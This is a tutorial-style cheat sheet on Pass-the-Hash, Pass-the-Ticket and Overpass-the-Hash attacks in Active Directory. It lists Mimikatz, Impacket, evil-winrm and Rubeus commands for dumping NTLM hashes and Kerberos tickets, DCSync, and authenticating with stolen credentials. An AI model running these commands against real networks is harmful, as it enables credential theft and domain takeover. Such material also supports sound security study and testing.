Pass-the-Hash & Pass-the-Ticket: Lateral Movement in Active Directory

Pass-the-Hash (PtH) and Pass-the-Ticket (PtT) are lateral movement techniques that allow attackers to authenticate as a user without knowing their plaintext password. These attacks are fundamental to post-exploitation in Windows and Active Directory environments. By reusing captured NTLM hashes or Kerberos tickets, attackers can move laterally across the network and escalate privileges.

Pass-the-Hash: Reusing NTLM Hashes

Windows uses NTLM authentication in many contexts. When you capture an NTLM hash (from LSASS, SAM, or NTDS.dit), you can use it directly to authenticate without cracking it first. The pass-the-hash attack works because NTLM authentication uses the hash itself as the authenticator.

# Dump NTLM hashes from LSASS with Mimikatz
sekurlsa::logonpasswords

# Pass-the-Hash with Impacket (Linux)
psexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4 Administrator@10.10.10.50

# Pass-the-Hash with wmiexec (stealthier)
wmiexec.py -hashes :NTLM_HASH domain/Administrator@10.10.10.50

# Pass-the-Hash with smbexec
smbexec.py -hashes :NTLM_HASH domain/user@10.10.10.50

# Pass-the-Hash with evil-winrm (WinRM)
evil-winrm -i 10.10.10.50 -u Administrator -H NTLM_HASH

Extracting Hashes with Mimikatz

Mimikatz is the primary tool for extracting credentials from Windows memory. Use it after gaining SYSTEM or SeDebugPrivilege.

# Enable SeDebugPrivilege
privilege::debug

# Dump all logon credentials
sekurlsa::logonpasswords

# Dump only NTLM hashes
sekurlsa::msv

# Dump SAM hashes (local accounts)
lsadump::sam

# Remote DCSync (requires Domain Admin or DCSync rights)
lsadump::dcsync /domain:corp.local /user:Administrator
lsadump::dcsync /domain:corp.local /all /csv

Pass-the-Ticket: Reusing Kerberos Tickets

Pass-the-Ticket injects Kerberos tickets into the current session. You can steal a TGT from another user’s session and use it to authenticate as them across the domain.

# Export Kerberos tickets with Mimikatz
sekurlsa::tickets /export

# Or with Rubeus
.\Rubeus.exe dump /service:krbtgt /nowrap

# Inject a stolen ticket (Pass-the-Ticket)
.\Rubeus.exe ptt /ticket:doIFqDCCBaS...base64ticket...

# Verify ticket is in memory
klist

# Now use the ticket to access resources
dir \\DC01\C$
pypsexec.py -k -no-pass domain.local/user@10.10.10.100

Overpass-the-Hash: Converting Hash to Ticket

Overpass-the-Hash uses an NTLM hash to request a Kerberos TGT, combining both techniques. This is useful when NTLM is blocked but Kerberos is available.

# Overpass-the-Hash with Mimikatz
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:NTLM_HASH /run:powershell.exe

# Overpass-the-Hash with Rubeus
.\Rubeus.exe asktgt /user:Administrator /rc4:NTLM_HASH /ptt

References

See MITRE ATT&CK T1550.002 (Pass the Hash) and T1550.003 (Pass the Ticket).

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top